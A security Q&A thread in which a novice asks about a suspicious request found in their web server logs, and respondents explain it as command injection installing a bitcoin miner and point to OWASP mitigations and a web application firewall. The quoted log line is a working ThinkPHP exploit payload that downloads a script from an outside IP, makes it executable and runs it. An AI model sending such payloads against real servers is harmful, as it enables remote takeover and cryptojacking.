I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777
which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?

It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
Thank you very much, will read more about it.

As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
